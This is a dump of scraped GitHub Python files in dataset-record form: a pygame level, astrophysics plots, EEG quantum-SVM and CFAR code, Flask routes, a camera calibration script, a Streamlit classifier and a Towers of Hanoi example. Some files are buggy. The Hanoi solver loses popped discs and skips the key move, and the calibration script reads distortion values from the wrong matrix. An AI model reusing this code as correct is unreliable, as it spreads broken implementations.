StockSymbolCollection.exec(csv_filename)","repo_name":"BruceRayWilson/StockPredictions","sub_path":"StockSymbolCollection/main_005.py","file_name":"main_005.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"9207174269","text":"from Level import Level\nfrom Spiderboss import Spiderboss\nimport pygame\n\nclass BossArea1(Level):\n def __init__(self, g):\n Level.__init__(self, g, \"bosszone1\")\n\n self.spider = Spiderboss(self)\n self.spider.set_coord([g.get_window_size()[0]/2, 0])\n self.spider.set_coord([65, 75])\n\n self.blink_mask = pygame.Surface((1280, 720))\n self.blink_mask.fill((255,255,255))\n self.blink_ticks = 0\n self.blinking = True\n\n self.player = g.global_variables[\"player\"]\n self.player.set_coord([1050, 700])\n\n self.add_player(self.player)\n self.add_enemy(self.spider)\n\n self.spider.lock_control = True\n self.intro = True\n self.show_dialog = False\n self.dialog_ticks = 300\n\n self.dialog = Dialog(self.spider, \"\")\n\n def on_screen(self):\n Level.on_screen(self)\n self.player.set_coord([1016, 674])\n\n def logic(self):\n Level.logic(self)\n\n if self.intro:\n if self.spider.distance_from_player() < 800:\n self.player.lock_control(True)\n self.player.change_state(\"idle\")\n self.show_dialog = True\n\n self.dialog_ticks -= 1\n if self.dialog_ticks == 0:\n self.show_dialog = False\n self.player.lock_control(False)\n self.spider.lock_control = False\n self.intro = False\n\n\n def draw(self, screen):\n Level.draw(self, screen)\n\n if self.show_dialog == True:\n self.dialog.draw(screen)\n\n def blink_screen(self):\n return\n\nclass Dialog:\n def __init__(self, target, dialog):\n self.label = pygame.image.load(\"Resources/spidertitles.png\").convert()\n self.label.set_colorkey((255,0,255))\n self.target = target\n\n def draw(self, screen):\n t = self.target.get_coord()\n print(t)\n p = [0, 0]\n\n p[0] = t[0] + self.target.get_rect()[2] + 5\n p[1] = t[1] - self.target.get_rect()[3]/2 + 120\n\n screen.blit(self.label, p, self.label.get_rect())\n","repo_name":"samchenatti/LD39","sub_path":"BossArea1.py","file_name":"BossArea1.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30514128869","text":"import os\nimport math\nimport time\nimport tarfile\nimport shutil\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom astropy.io import ascii\nfrom astropy import constants as cons\nfrom astropy.table import Table, Column, vstack, join\nimport astropy.coordinates as coords\nfrom astropy import units as u\nfrom scipy import stats\nimport matplotlib.mlab as mlab\n\nmpl.rc(\"font\", family=\"Complex\", size=16)\nmpl.rc(\"axes\", linewidth = 1 )\nmpl.rc(\"lines\", linewidth = 1 )\nmpl.rc(\"xtick.major\", pad = 8, size = 8, width = 1)\nmpl.rc(\"ytick.major\", pad = 8, size = 8, width = 1)\nmpl.rc(\"xtick.minor\", size = 4, width = 1 )\nmpl.rc(\"ytick.minor\", size = 4, width = 1 )\nhmscList = ascii.read('../Tables/hmscList_full_20161218.txt')\nhiiList = ascii.read('../Tables/hiiList_20161218.dat')\nmmbList = ascii.read('/Users/yuan/Desktop/MaserUTas'+\n '/MMB/Tables/mmbGP_with_full_para_20161218.txt')\nhiiList = hiiList[hiiList['Sp']>0.5]\nmmbList = mmbList[mmbList['Sp_870']>0.5]\nmmbList = mmbList[mmbList['L_M_ratio']<10000]\nhiiList = hiiList[hiiList['L_M_ratio']<10000]\nhmscList['L_M_ratio'].mask[hmscList['Mclump'].mask == True] = True\n\nxmin = 0.04\nxmax = 5\nymin = 20 \nymax = 5e4\nLumDense = hmscList['Lclump']/(np.pi*hmscList['r_pc']**2)\nfig8 = plt.figure(2, figsize = (4.5,9.5))\nfig8.subplots_adjust(left = 0.07, right = 0.91, hspace=0.02,\n bottom = 0.09, top = 0.96)\n\nax1 = fig8.add_subplot(311)\nax1.scatter(hmscList['r_pc'], LumDense,marker = 'x', s = 22, \n color = 'red')\nax1.set_xscale('log')\nax1.set_yscale('log')\nax1.set_xlim(xmin,xmax)\nax1.set_ylim([ymin,ymax])\nax1.minorticks_on()\nax1.set_xticklabels([])\n#ax1.set_yticks([0,10,20,30,40,50])\n\n#ax1.set_ylabel(r'$L_{clump}/4\\pi r_{eq}^{2}$ ($L_\\odot$ pc$^{-2}$)')\nax1.text(10**(np.log10(xmax)-(np.log10(xmax)-np.log10(xmin))*0.08), \n 10**(np.log10(ymax)-(np.log10(ymax)-np.log10(ymin))*0.12), \n 'starless', horizontalalignment = 'right')\n\nymin = 150 \nymax = 2e6\nLumDense = mmbList['Lclump']/(np.pi*mmbList['r_pc']**2)\nax2 = fig8.add_subplot(312)\nax2.scatter(mmbList['r_pc'], LumDense, marker = '+', s = 40, \n color = 'lime')\nax2.set_xscale('log')\nax2.set_yscale('log')\nax2.set_xlim(xmin,xmax)\nax2.set_ylim([ymin,ymax])\nax2.minorticks_on()\nax2.set_xticklabels([])\n#ax1.set_yticks([0,10,20,30,40,50])\n\nax2.set_ylabel(r'Luminosity Surface Density ($L_\\odot$ pc$^{-2}$)')\nax2.text(10**(np.log10(xmax)-(np.log10(xmax)-np.log10(xmin))*0.08), \n 10**(np.log10(ymax)-(np.log10(ymax)-np.log10(ymin))*0.12), \n 'CH$_3$OH', horizontalalignment = 'right')\n\nymin = 150 \nymax = 2e6\nLumDense = hiiList['Lclump']/(np.pi*hiiList['r_pc']**2)\nax3 = fig8.add_subplot(313)\nax3.scatter(hiiList['r_pc'], LumDense,marker = '.', s = 80, \n color = 'blue')\nax3.set_xscale('log')\nax3.set_yscale('log')\nax3.set_xlim(xmin,xmax)\nax3.set_ylim([ymin,ymax])\nax3.minorticks_on()\n#ax1.set_yticks([0,10,20,30,40,50])\nax3.set_xlabel(r\"r$_{eq}$ (pc)\")\n#ax3.set_ylabel(r'Luminosity Surface Density ($L_\\odot$ pc$^{-2}$)')\nax3.text(10**(np.log10(xmax)-(np.log10(xmax)-np.log10(xmin))*0.08), \n 10**(np.log10(ymax)-(np.log10(ymax)-np.log10(ymin))*0.12), \n 'HII', horizontalalignment = 'right')\n\nfig8.savefig('../epsFigs/LumSurfaceDense.eps' ,dpi = 300, \n bbox_inches='tight', papertype='a2')\nfig8.savefig('../epsFigs/LumSurfaceDense.pdf' ,dpi = 300, \n bbox_inches='tight', papertype='a2')\n\n\n","repo_name":"yuanjinghua/HMSCs_cat","sub_path":"scripts/LumSurfaceDensity_vs_radius.py","file_name":"LumSurfaceDensity_vs_radius.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6345788897","text":"\"\"\"\n====================================================================\nERP EEG decoding with Quantum Classifier.\n====================================================================\n\nDecoding applied to EEG data in sensor space using RG.\nXdawn spatial filtering is applied on covariances matrices, which are\nthen projected in the tangent space and classified with a quantum SVM\nclassifier. It is compared to the classical SVM on binary classification.\n\n\"\"\"\n# Author: Gregoire Cattan\n# Modified from plot_classify_EEG_tangentspace.py of pyRiemann\n# License: BSD (3-clause)\n\nfrom pyriemann.estimation import XdawnCovariances\nfrom pyriemann.tangentspace import TangentSpace\nfrom pyriemann_qiskit.classification import QuanticSVM\nfrom pyriemann_qiskit.utils.filtering import NaiveDimRed\nfrom pyriemann_qiskit.datasets import get_mne_sample\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import (\n confusion_matrix,\n ConfusionMatrixDisplay,\n balanced_accuracy_score,\n)\nfrom matplotlib import pyplot as plt\n\n\nprint(__doc__)\n\n\nX, y = get_mne_sample(n_trials=-1)\n\n# ...skipping the KFold validation parts (for the purpose of the test only)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=1)\n\n###############################################################################\n# Decoding in tangent space with a quantum classifier\n\n# Time complexity of quantum algorithm depends on the number of trials and\n# the number of elements inside the covariance matrices\n# Thus we reduce elements number by using restrictive spatial filtering\nsf = XdawnCovariances(nfilter=1)\n\n# Projecting correlation matrices into the tangent space\n# as quantum algorithms take vectors as inputs\n# (If not, then matrices will be inlined inside the quantum classifier)\ntg = TangentSpace()\n\n\n# ...and dividing the number of remaining elements by two\ndim_red = NaiveDimRed()\n\n\n# https://stackoverflow.com/questions/61825227/plotting-multiple-confusion-matrix-side-by-side\nf, axes = plt.subplots(1, 2, sharey=\"row\")\n\ndisp = None\n\n# Results will be computed for QuanticSVM versus SKLearnSVM for comparison\nfor quantum in [True, False]:\n qsvm = QuanticSVM(verbose=True, quantum=quantum)\n clf = make_pipeline(sf, tg, dim_red, qsvm)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n\n # Printing the results\n acc = balanced_accuracy_score(y_test, y_pred)\n acc_str = \"%0.2f\" % acc\n\n names = [\"vis left\", \"vis right\"]\n title = (\"Quantum (\" if quantum else \"Classical (\") + acc_str + \")\"\n axe = axes[0 if quantum else 1]\n cm = confusion_matrix(y_pred, y_test)\n disp = ConfusionMatrixDisplay(cm, display_labels=names)\n disp.plot(ax=axe, xticks_rotation=45)\n disp.ax_.set_title(title)\n disp.im_.colorbar.remove()\n disp.ax_.set_xlabel(\"\")\n if not quantum:\n disp.ax_.set_ylabel(\"\")\n\nif disp:\n f.text(0.4, 0.1, \"Predicted label\", ha=\"left\")\n plt.subplots_adjust(wspace=0.40, hspace=0.1)\n f.colorbar(disp.im_, ax=axes)\n plt.show()\n","repo_name":"pyRiemann/pyRiemann-qiskit","sub_path":"examples/ERP/plot_classify_EEG_quantum_svm.py","file_name":"plot_classify_EEG_quantum_svm.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"17118278567","text":"from app import app,db\nfrom flask import render_template, flash, redirect, url_for, request, jsonify\nfrom app.forms import LoginForm, RegistrationForm, EditProfileForm, StartAPartyForm, AddASongForm\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom werkzeug.urls import url_parse\nfrom app.models import User, Party, Song\nimport datetime\n\n@app.route('/')\n@app.route('/index')\n@login_required\ndef index():\n page = request.args.get('page', 1, type=int)\n parties = current_user.followed_parties().paginate(page, app.config['POSTS_PER_PAGE'],False)\n next_url = url_for('index', page=parties.next_num) if parties.has_next else None\n prev_url = url_for('index', page=parties.prev_num) if parties.has_prev else None\n #parties = Party.query.join(User).add_columns(User.username, Party.title, Party.created_at).order_by(Party.created_at).limit(10)\n #parties = Party.get_all_parties_with_owner_id()\n #parties = current_user.followed_parties().all()\n return render_template('index.html',title = 'Home', parties = parties.items, next_url = next_url, prev_url=prev_url)\n\n\n@app.route('/explore')\n@login_required\ndef explore():\n page = request.args.get('page', 1, type=int)\n parties = Party.query.order_by(Party.created_at.desc()).paginate(page, app.config['POSTS_PER_PAGE'], False)\n next_url = url_for('explore', page=parties.next_num) if parties.has_next else None\n prev_url = url_for('explore', page=parties.prev_num) if parties.has_prev else None\n #parties = Party.query.order_by(Party.created_at.desc()).all()\n return render_template('index.html', title='Explore', parties=parties.items, next_url=next_url, prev_url=prev_url)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('Invalid username or password')\n return redirect(url_for('login'))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n\n return render_template('login.html', title='Sign In', form=form)\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n print('LOOK AT FORM DATA')\n print(type(form.data))\n print(form.data)\n user = User(form.data)\n user.save()\n flash('Congratulations, you are now a registered user!')\n return redirect(url_for('login'))\n return render_template('register.html', title='Register', form=form)\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n@app.route('/user/')\n@login_required\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n page = request.args.get('page', 1, type=int)\n #parties = Party.query.filter_by(owner_id = user.id).all()\n parties = user.parties.order_by(Party.created_at.desc()).paginate(page, app.config['POSTS_PER_PAGE'], False)\n next_url = url_for('user', username=user.username, page=parties.next_num) if parties.has_next else None\n prev_url = url_for('user', username=user.username, page=parties.prev_num) if parties.has_prev else None\n return render_template('user.html', user=user, parties=parties.items, next_url=next_url, prev_url=prev_url)\n\n@app.before_request\ndef before_request():\n if current_user.is_authenticated:\n current_user.last_seen = datetime.datetime.utcnow()\n db.session.commit()\n\n@app.route('/edit_profile', methods=['GET','POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm(current_user.username)\n if form.validate_on_submit():\n current_user.username = form.username.data\n current_user.about_me = form.about_me.data\n db.session.commit()\n flash('Your chagnes have been saved')\n return redirect(url_for('edit_profile'))\n elif request.method == 'GET':\n form.username.data = current_user.username\n form.about_me.data = current_user.about_me\n\n return render_template('edit_profile.html', title='Edit Profile', form=form)\n\n@app.route('/start_a_party', methods=['GET', 'POST'])\n@login_required\ndef start_a_party():\n form = StartAPartyForm()\n if form.validate_on_submit():\n party_data={'owner_id': current_user.id, 'title':form.title.data}\n p = Party(party_data)\n db.session.add(p)\n db.session.commit()\n flash('Your party has been added')\n return redirect(url_for('start_a_party'))\n return render_template('start_a_party.html', title='Start a Party', form=form)\n\n@app.route('/follow/')\n@login_required\ndef follow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('User {} not found.'.format(username))\n return redirect(url_for('index'))\n if user == current_user:\n flash('You cannot follow yourself!')\n return redirect(url_for('user', username=username))\n current_user.follow(user)\n db.session.commit()\n flash('You are following {}!'.format(username))\n return redirect(url_for('user', username=username))\n\n@app.route('/unfollow/')\n@login_required\ndef unfollow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('User {} not found.'.format(username))\n return redirect(url_for('index'))\n if user == current_user:\n flash('You cannot unfollow yourself!')\n return redirect(url_for('user', username=username))\n current_user.unfollow(user)\n db.session.commit()\n flash('You are not following {}!'.format(username))\n return redirect(url_for('user', username=username))\n\n\n@app.route('/party/', methods = ['GET', 'POST'])\n@login_required\ndef view_party(party_id):\n #print('LOOOOKKKK EHRERER')\n #print(type(party_id))\n party = Party.query.filter_by(id=party_id).first_or_404()\n songs = Song.query.filter_by(party_id=int(party_id)).all()\n add_song_form = AddASongForm()\n if add_song_form.validate_on_submit():\n song_data={'owner_id': current_user.id, 'title':add_song_form.title.data, 'artist': add_song_form.artist.data, 'party_id':party_id}\n s = Song(song_data)\n db.session.add(s)\n db.session.commit()\n flash('Your song has been added to the Party')\n return redirect(url_for('view_party', party_id=party_id))\n\n return render_template('party.html',add_song_form=add_song_form, party=party,party_id = party_id, songs=songs)\n\n\n@app.route('/party/json/', methods=['GET'])\ndef get_party_and_songs(party_id):\n print('FUCK')\n party = Party.query.filter_by(id=party_id).first_or_404()\n songs = Song.query.filter_by(party_id=int(party_id)).all()\n song_json = []\n characters: [{song: \"power \", artist: \"kanye\", addedBy: songs.User.username, voteCount: 1}]\n for song in songs:\n song_json.append({'song':song.title, 'artist':song.artist, 'addedBy': song.owner_id, 'voteCount':1})\n return jsonify(song_json)\n","repo_name":"ntorba/DQueue_mega","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26507658936","text":"#!/usr/bin/env python2\n\"\"\"\nThis code shows how the optimizer class may be used for changing the colors of a set of images so that the average\ncolor in all images is very similar. This is often called color correction.\nThe OCDatasetLoader is used to collect data from a OpenConstructor dataset\n\"\"\"\n\n# -------------------------------------------------------------------------------\n# --- IMPORTS (standard, then third party, then my own modules)\n# -------------------------------------------------------------------------------\nimport argparse # to read command line arguments\nimport math\n\nimport numpy as np\nfrom functools import partial\nimport matplotlib.pyplot as plt\nimport cv2\nimport KeyPressManager.KeyPressManager\nimport OptimizationUtils.OptimizationUtils as OptimizationUtils\nimport json\nimport itertools\n\n\n# -------------------------------------------------------------------------------\n# --- FUNCTIONS\n# -------------------------------------------------------------------------------\n\ndef generate_chessboard(size, dimensions):\n objp = np.zeros((dimensions[0] * dimensions[1], 3), np.float32)\n objp[:, :2] = np.mgrid[0:dimensions[0], 0:dimensions[1]].T.reshape(-1, 2)\n objp = objp * size\n return objp\n\ndef find_cam_chess_realpoints(fname, k_matrix, dist_matrix):\n objpoints = []\n imgpoints = []\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\n img = cv2.imread(fname)\n\n if img is None:\n raise ValueError('Could not read image from ' + str(fname))\n # print(img.shape)\n # cv2.imshow('gui', img)\n # cv2.waitKey(0)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Find the chess board corners\n ret, corners = cv2.findChessboardCorners(gray, (9, 6), None)\n # If found, add object points, image points (after refining them)\n if ret:\n objpoints.append(pts_chessboard)\n corners2 = cv2.cornerSubPix(gray, corners, (11, 11), (-1, -1), criteria)\n imgpoints.append(corners2)\n # img1 = cv2.imread(fname)\n # img = cv2.drawChessboardCorners(img1, (9, 6), imgpoints[0], True)\n # cv2.imshow('img', img1)\n # cv2.waitKey(0)\n\n else:\n return 0\n\n return 1\n\n\n# -------------------------------------------------------------------------------\n# --- MAIN\n# -------------------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n\n # ---------------------------------------\n # --- Parse command line argument\n # ---------------------------------------\n\n ap = argparse.ArgumentParser()\n ap = OptimizationUtils.addArguments(ap) # OptimizationUtils arguments\n ap.add_argument(\"-d\", \"--dataset_path\", help=\"Path to the dataset\", type=str, required=True)\n ap.add_argument(\"-j\", \"--json_path\", help=\"Full path to Json file\", type=str, required=True)\n args = vars(ap.parse_args())\n\n # ---------------------------------------\n # --- INITIALIZATION\n # ---------------------------------------\n\n json_file = args['json_path']\n\n # Image used\n if not args['dataset_path'][-1] == '/': # make sure the path is correct\n args['dataset_path'] += '/'\n\n f = open(args['json_path'], 'r')\n calibration_data = json.load(f)\n\n dimensions = calibration_data['calibration_config']['calibration_pattern']['dimension']\n size_board = calibration_data['calibration_config']['calibration_pattern']['size']\n pts_chessboard = generate_chessboard(size_board, dimensions)\n sensors = calibration_data['sensors']\n\n name_image_list = []\n k_matrix = np.zeros((3, 3, len(sensors)), np.float32)\n dist_matrix = np.zeros((len(sensors), 5), np.float32)\n i2 = 0\n sensor = []\n for i in range(len(calibration_data['collections'])):\n\n i3 = 0\n for i1 in sensors:\n name_image = args['dataset_path'] + calibration_data['collections'][str(i)]['data'][str(i1)]['data_file']\n name_image_list.append(name_image)\n\n if i == \"0\":\n sensor.append(str(i1))\n a = np.zeros(len(calibration_data['sensors'][str(i1)]['camera_info']['K']))\n for i in range(len(calibration_data['sensors'][str(i1)]['camera_info']['K'])):\n a[i] = float(calibration_data['sensors'][str(i1)]['camera_info']['K'][str(i)])\n k_matrix[:, :, i2] = a.reshape(3, 3)\n for i in range(len(calibration_data['sensors'][str(i1)]['camera_info']['D'])):\n dist_matrix[i2, i] = float(calibration_data['sensors'][str(i1)]['camera_info']['K'][str(i)])\n # k_matrix[i2, 0, :] = calibration_data['sensors'][str(i1)]['camera_info']['K'][0:3]\n # k_matrix[i2, 1, :] = calibration_data['sensors'][str(i1)]['camera_info']['K'][3:6]\n # k_matrix[i2, 2, :] = calibration_data['sensors'][str(i1)]['camera_info']['K'][6:9]\n # dist_matrix[i2, :] = calibration_data['sensors'][str(i1)]['camera_info']['D']\n i2 += 1\n\n calibration_data['collections'][str(i)]['data'][str(i1)]['detected'] = find_cam_chess_realpoints(name_image, k_matrix[: , :, i3], dist_matrix[i3, :])\n i3 += 1\n\n with open(args['json_path'], 'w') as outfile:\n json.dump(calibration_data, outfile)\n exit(0)\n","repo_name":"joaofigueiredo22/Two_or_more_cameras_calibration","sub_path":"create_json.py","file_name":"create_json.py","file_ext":"py","file_size_in_byte":5274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72713798507","text":"import json\n\n\nclass CFAR_CA:\n def __init__(self, number_of_guard_cells=None, number_of_training_cells=None, threshold_factor=None):\n filepath = \"../data/CFAR_parameters.json\"\n with open(filepath, \"r\") as read_file:\n default_settings = json.load(read_file)\n if number_of_guard_cells is None:\n self.number_of_guard_cells = default_settings[\"CFAR\"][\"guard_cells\"]\n else:\n self.number_of_guard_cells = number_of_guard_cells\n if number_of_training_cells is None:\n self.number_of_training_cells = default_settings[\"CFAR\"][\"training_cells\"]\n else:\n self.number_of_training_cells = number_of_training_cells\n if threshold_factor is None:\n self.threshold_factor = default_settings[\"CFAR\"][\"threshold_factor\"]\n else:\n self.threshold_factor = threshold_factor\n\n def _choose_criteria(self, average_left, average_right):\n return (average_left + average_right) / 2\n\n def find_objects(self, data):\n last_right_training_cell_number = int(min(self.number_of_guard_cells / 2\n + self.number_of_training_cells, len(data)))\n last_right_guard_cell_number = int(self.number_of_guard_cells / 2)\n first_left_training_cell_number = int(-self.number_of_guard_cells / 2 - self.number_of_training_cells / 2)\n first_left_guard_cell_number = int(-self.number_of_guard_cells / 2)\n sum_left = 0\n sum_right = sum(data[last_right_guard_cell_number: last_right_training_cell_number])\n average_right = 0\n average_left = 0\n threshold_value = []\n detected = []\n\n for cell_under_test_number in range(len(data)):\n if first_left_training_cell_number - 1 >= 0:\n sum_left -= data[first_left_training_cell_number - 1]\n if first_left_guard_cell_number > 0:\n sum_left += data[first_left_guard_cell_number - 1]\n if last_right_training_cell_number < len(data):\n sum_right += data[last_right_training_cell_number]\n if last_right_guard_cell_number < len(data):\n sum_right -= data[last_right_guard_cell_number]\n\n count_left = max(0, first_left_guard_cell_number) - max(0, first_left_training_cell_number)\n count_right = min(last_right_training_cell_number, len(data)) - min(last_right_guard_cell_number, len(data))\n\n if count_left > 0:\n average_left = sum_left / count_left\n if count_right > 0:\n average_right = sum_right / count_right\n if count_left <= 0:\n threshold = average_right * self.threshold_factor\n elif count_right <= 0:\n threshold = average_left * self.threshold_factor\n else:\n threshold = self._choose_criteria(average_left, average_right) * self.threshold_factor\n\n threshold_value.append(threshold)\n if threshold < data[cell_under_test_number]:\n detected.append(cell_under_test_number)\n\n last_right_training_cell_number += 1\n last_right_guard_cell_number += 1\n first_left_training_cell_number += 1\n first_left_guard_cell_number += 1\n if first_left_training_cell_number <= 0 < first_left_guard_cell_number:\n last_right_training_cell_number -= 1\n sum_right -= data[last_right_training_cell_number]\n if last_right_training_cell_number > len(data) >= last_right_guard_cell_number:\n first_left_training_cell_number -= 1\n sum_left += data[first_left_training_cell_number - 1]\n\n return detected, threshold_value\n\n\nclass CFAR_GOCA(CFAR_CA):\n def _choose_criteria(self, average_left, average_right):\n return max(average_left, average_right)\n\n\nclass CFAR_SOCA(CFAR_CA):\n def _choose_criteria(self, average_left, average_right):\n return min(average_left, average_right)\n\ntest = CFAR_CA()","repo_name":"Tarixxiv/cfar-algorithm-tester","sub_path":"src/CFAR.py","file_name":"CFAR.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40619958526","text":"\"\"\"Our goal is to move all of the discs from tower A to tower C given the following constraints:\n\n1. Only one disc can be moved at a time.\n2. The topmost disc of any tower is the only one available for moving. \n3. A wider disc can never be atop a narrower disc.\n\nmodeling the tower: using stack (LIFO)\n\nmethods for stack:\n\npush\npop\n\nThe import of Generic from the typing module enables Stack to be generic over a particular type in type hints. \n\nThe arbitrary type T is defined in T = TypeVar('T'). T can be any type\n\n1 Move the upper n-1 discs from tower A to B (the temporary tower), using C as the in-between.\n2 Move the single lowest disc from A to C.\n3 Move the n-1 discs from tower B to C, using A as the in-between.\n\"\"\"\n\nfrom typing import TypeVar, Generic, List \n\nT = TypeVar('T')\n\nclass Stack(Generic[T]):\n def __init__(self) -> None:\n self._container: List[T] = []\n \n def push(self, item: T) -> None:\n self._container.append(item)\n \n def pop(self) -> T:\n self._container.pop()\n \n # __repr__() is what will be output when print() is applied to a Stack.\n def __repr__(self) -> str:\n return repr(self._container)\n\n# create the tower\nnum_discs: int= 3\ntower_a: Stack[int] = Stack()\ntower_b: Stack[int] = Stack()\ntower_c: Stack[int] = Stack()\n\nfor i in range(1, num_discs + 1):\n tower_a.push(i)\n\n# Solving the Towers of Hanoi -> Recursive\n# Base case: moving one disc\n# recursive case: moving more than one disc\n\n\ndef hanoi(begin: Stack[int], end: Stack[int], temp: Stack[int], n: int) -> None:\n if n == 1: \n end.push(begin.pop())\n else:\n print(f\"tower_a: {tower_a}\")\n hanoi(begin, temp, end, n - 1) \n hanoi(temp, end, begin, n - 1)\n\nif __name__ == \"__main__\":\n hanoi(tower_a, tower_c, tower_b, num_discs)\n print(tower_a)\n print(tower_b)\n print(tower_c)","repo_name":"Kaiyilin/PythonLearning","sub_path":"classic_problems/1_small_problems/1-4_towers_of_hanoi.py","file_name":"1-4_towers_of_hanoi.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32953090089","text":"# import libraries \nimport streamlit as st\nfrom PIL import Image, ImageOps\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport numpy as np\nfrom tensorflow.keras import preprocessing, Model, layers\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.activations import softmax\nimport os\n\n\nst.header(\"Image Class Predictor\") # headed\nst.write(\"\"\" Creator of App Hassan Jama\"\"\")\nst.write(\"\"\" About the data: This data was initially published on https://datahack.analyticsvidhya.com by Intel to host a Image classification Challenge. You can find the dataset at this link https://www.kaggle.com/puneet6060/intel-image-classification\n\nContent\n\nThe training data contains around 17k images and the testing data contains around 6k images both of size 150x150 distributed under 6 categories(Building, Forest, Glacier, Mountain, Sea, Street)\"\"\")\nst.write(\"\"\" Algorithm used: InceptionV3 with layers freezed during training so that the weights don't change during backpropagation.\nMixed_7 as the last layer of InceptionV3 pre-train model. Followed by adding a fully dense layer of 256, then a dropout of rate of .2, then a final dense layer of 6 for the 6 different classes with softmax as the activation function.\nThe model reach a validation accuracy of 91.6% and a validation loss of .3105 after 20 epochs of training.\"\"\")\nst.write(\"\"\"Here is the code I wrote to build the model. https://github.com/jamah97/imageclass22/blob/master/build_model.py \"\"\")\n# function were the image will be uploaded\ndef main():\n file_uploaded = st.file_uploader(\"Drop or drag images below\", type = [\"jpg\", \"png\", \"jpeg\"]) # upload image\n if file_uploaded is not None:\n image = Image.open(file_uploaded) # open uploaded image\n figure = plt.figure() # plot figure\n plt.imshow(image) # than show ploted figure\n plt.axis(\"off\") # axis is off\n result = predict_class(image) # predict class name\n st.write(result)\n st.pyplot(figure)\n\n\n#function were the image will be predicted on using model\ndef predict_class(image):\n classifier_model = tf.keras.models.load_model(r'tl_model_tf.h5')\n shape = ((299,299,3))\n model = tf.keras.Sequential([hub.KerasLayer(classifier_model, input_shape = shape)])\n test_image = image.resize((299,299))\n test_image = preprocessing.image.img_to_array(test_image)\n test_image = test_image/255.0\n test_image = np.expand_dims(test_image, axis = 0)\n class_names = ['buildings', 'forest', 'glacier', 'mountain', 'sea', 'street']\n predictions = model.predict(test_image)\n scores = tf.nn.softmax(predictions[0])\n scores = scores.numpy()\n image_class = class_names[np.argmax(scores)]\n result = 'The image uploaded is: {}'.format(image_class)\n return result\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jamah97/imageclass22","sub_path":"imageapp.py","file_name":"imageapp.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43011621475","text":"# coding: utf-8\n\n\"\"\"\n NetHSM\n All endpoints expect exactly the specified JSON. Additional properties will cause a Bad Request Error (400). All HTTP errors contain a JSON structure with an explanation of type string. All [base64](https://tools.ietf.org/html/rfc4648#section-4) encoded values are Big Endian. # noqa: E501\n The version of the OpenAPI document: v1\n Generated by: https://github.com/openapi-json-schema-tools/openapi-json-schema-generator\n\"\"\"\n\nfrom __future__ import annotations\nfrom nethsm.client.shared_imports.schema_imports import * # pyright: ignore [reportWildcardImportFromLibrary]\n\nCountryName: typing_extensions.TypeAlias = schemas.StrSchema\nStateOrProvinceName: typing_extensions.TypeAlias = schemas.StrSchema\nLocalityName: typing_extensions.TypeAlias = schemas.StrSchema\nOrganizationName: typing_extensions.TypeAlias = schemas.StrSchema\nOrganizationalUnitName: typing_extensions.TypeAlias = schemas.StrSchema\nCommonName: typing_extensions.TypeAlias = schemas.StrSchema\nEmailAddress: typing_extensions.TypeAlias = schemas.StrSchema\nProperties = typing.TypedDict(\n 'Properties',\n {\n \"countryName\": typing.Type[CountryName],\n \"stateOrProvinceName\": typing.Type[StateOrProvinceName],\n \"localityName\": typing.Type[LocalityName],\n \"organizationName\": typing.Type[OrganizationName],\n \"organizationalUnitName\": typing.Type[OrganizationalUnitName],\n \"commonName\": typing.Type[CommonName],\n \"emailAddress\": typing.Type[EmailAddress],\n }\n)\n\n\nclass DistinguishedNameDict(schemas.immutabledict[str, schemas.OUTPUT_BASE_TYPES]):\n\n __required_keys__: typing.FrozenSet[str] = frozenset({\n \"commonName\",\n })\n __optional_keys__: typing.FrozenSet[str] = frozenset({\n \"countryName\",\n \"stateOrProvinceName\",\n \"localityName\",\n \"organizationName\",\n \"organizationalUnitName\",\n 